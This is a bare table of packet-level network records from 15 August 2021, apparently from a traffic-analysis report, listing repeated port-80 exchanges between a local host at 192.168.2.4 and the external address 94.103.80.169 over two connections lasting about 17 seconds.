Aug 15, 2021 08:41:41.315007925 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:41.342845917 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:41.342919111 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:41.455290079 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:41.482628107 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:41.484453917 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:41.596329927 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:41.624378920 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:41.624557018 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:41.737539053 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:41.766545057 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:41.770488977 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:41.877259016 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:41.906200886 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:41.906374931 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:42.017501116 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:42.046323061 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:42.050518036 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:42.164675951 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:42.193788052 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:42.193901062 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:42.302551031 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:42.331916094 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:42.332103968 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:42.442925930 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:42.472026110 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:42.472398043 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:42.580745935 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:42.609788895 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:42.609991074 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:42.721139908 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:42.749650955 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:42.756620884 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:42.877808094 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:42.905527115 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:42.905730963 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:43.018191099 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:43.046014071 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:43.046179056 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:43.159852028 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:43.187984943 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:43.188167095 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:43.299499989 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:43.326414108 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:43.326610088 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:43.442486048 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:43.470705032 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:43.470993996 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:43.584841013 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:43.615937948 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:43.616050005 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:43.725261927 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:43.757255077 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:43.757371902 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:43.877917051 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:43.905555010 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:43.905680895 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.017035007 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.046567917 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:44.046750069 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.157625914 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.186927080 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:44.186948061 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:44.187026024 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.187079906 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.187150002 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.211503983 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:44.302665949 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.327095985 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:44.327202082 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.328617096 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.352786064 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:44.355747938 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:44.355962992 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.474514008 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.502197027 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:44.502398014 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.614451885 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.642057896 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:44.642544985 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.755199909 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.782874107 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:44.785825014 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.893580914 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:44.921072006 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:44.921246052 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:45.034523964 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:45.063960075 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:45.064182043 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:45.174310923 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:45.203234911 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:45.203466892 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:45.315712929 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:45.345864058 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:45.346085072 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:45.455679893 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:45.485986948 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:45.486229897 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:45.596139908 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:45.624731064 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:45.624919891 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:45.737337112 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:45.765078068 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:45.765363932 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:45.877883911 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:45.905813932 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:45.905991077 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:46.018107891 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:46.048301935 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:46.048508883 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:46.158986092 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:46.187334061 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:46.187603951 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:46.299309015 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:46.327394009 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:46.327600002 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:46.440217972 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:46.468406916 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:46.468635082 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:46.579828978 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:46.607908964 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:46.608033895 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:46.721811056 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:46.751091003 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:46.751765966 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:46.865885019 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:46.893834114 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:46.893987894 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:47.003722906 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:47.031531096 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:47.031656027 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:47.144620895 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:47.172899008 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:47.173063040 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:47.283849955 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:47.313421965 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:47.313692093 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:47.423903942 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:47.452846050 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:47.453039885 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:47.569235086 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:47.599622011 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:47.599931002 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:47.724623919 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:47.753221035 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:47.753479004 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:47.871464968 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:47.899921894 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:47.900218010 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:48.019187927 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:48.048470020 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:48.050945997 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:48.162692070 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:48.190258980 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:48.190527916 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:48.302984953 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:48.332504034 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:48.332813025 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:48.440748930 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:48.468087912 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:48.468200922 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:48.581330061 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:48.610152960 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:48.610354900 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:48.724401951 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:48.753113985 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:48.753386021 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:48.863013029 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:48.890830040 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:48.891052961 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:49.003741026 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:49.035089016 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:49.035327911 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:49.144742012 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:49.172374010 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:49.172578096 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:49.287499905 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:49.318041086 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:49.318243980 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:49.442692041 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:49.471090078 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:49.471282005 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:49.580652952 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:49.612720013 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:49.612888098 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:49.721138954 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:49.750593901 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:49.750830889 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:49.862613916 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:49.891184092 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:49.891365051 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:50.007169962 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:50.034949064 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:50.035079002 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:50.148117065 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:50.176585913 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:50.176680088 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:50.287029028 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:50.315541029 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:50.315848112 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:50.425697088 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:50.454545021 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:50.454796076 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:50.569190979 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:50.596524954 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:50.596683979 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:50.709034920 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:50.737051010 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:50.737143040 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:50.846656084 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:50.874218941 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:50.874476910 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:50.989994049 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:51.018541098 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:51.018906116 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:51.131205082 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:51.159235954 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:51.159416914 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:51.267589092 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:51.295548916 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:51.295655012 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:51.411853075 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:51.440505981 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:51.440723896 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:51.551028013 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:51.579844952 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:51.579982996 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:51.693773985 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:51.721339941 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:51.721494913 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:51.831327915 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:51.859267950 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:51.859522104 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:51.975014925 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:52.002468109 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:52.002774954 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:52.115365982 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:52.143866062 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:52.144198895 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:52.253218889 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:52.282366991 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:52.282499075 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:52.393553972 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:52.424870968 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:52.425029993 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:52.537602901 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:52.564697981 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:52.564770937 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:52.673984051 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:52.703847885 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:52.703967094 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:52.817079067 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:52.845088005 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:52.845192909 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:53.010535955 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:53.042613983 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:53.042752981 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:53.314711094 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:53.342089891 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:53.342340946 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:53.460536957 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:53.488085032 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:53.491375923 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:53.612260103 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:53.640377045 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:53.643440962 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:53.753312111 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:53.782201052 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:53.783448935 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:54.262257099 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:54.290103912 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:54.290270090 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:54.409240961 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:54.436470032 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:54.438605070 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:54.550347090 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:54.577752113 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:54.577971935 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:54.713139057 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:54.740520954 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:54.740735054 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:55.815682888 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:55.844253063 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:55.844327927 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:55.959526062 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:55.987677097 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:55.987747908 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:56.096920013 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:56.124839067 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:56.124959946 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:56.242362022 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:56.272439957 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:56.272564888 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:56.377667904 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:56.406557083 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:56.406681061 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:56.521199942 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:56.548938036 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:56.549742937 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:56.660001993 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:56.688410997 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:56.688648939 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:56.801009893 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:56.829114914 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:56.829276085 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:56.941800117 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:56.970151901 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:56.970381975 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:57.087569952 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:57.115638018 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:57.115834951 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:57.237418890 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:57.265899897 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:57.266124010 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:57.381262064 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:57.410448074 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:57.410659075 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:57.535202026 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:57.562882900 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:57.563097000 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:57.676162958 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:57.705519915 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:57.705732107 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:57.819658041 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:57.847774982 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:57.848006964 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:57.957921028 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:57.986778021 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:57.986996889 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:58.096818924 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:58.125093937 CEST	80	49777	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:58.125255108 CEST	49777	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:58.239187956 CEST	49777	80	192.168.2.4	94.103.80.169
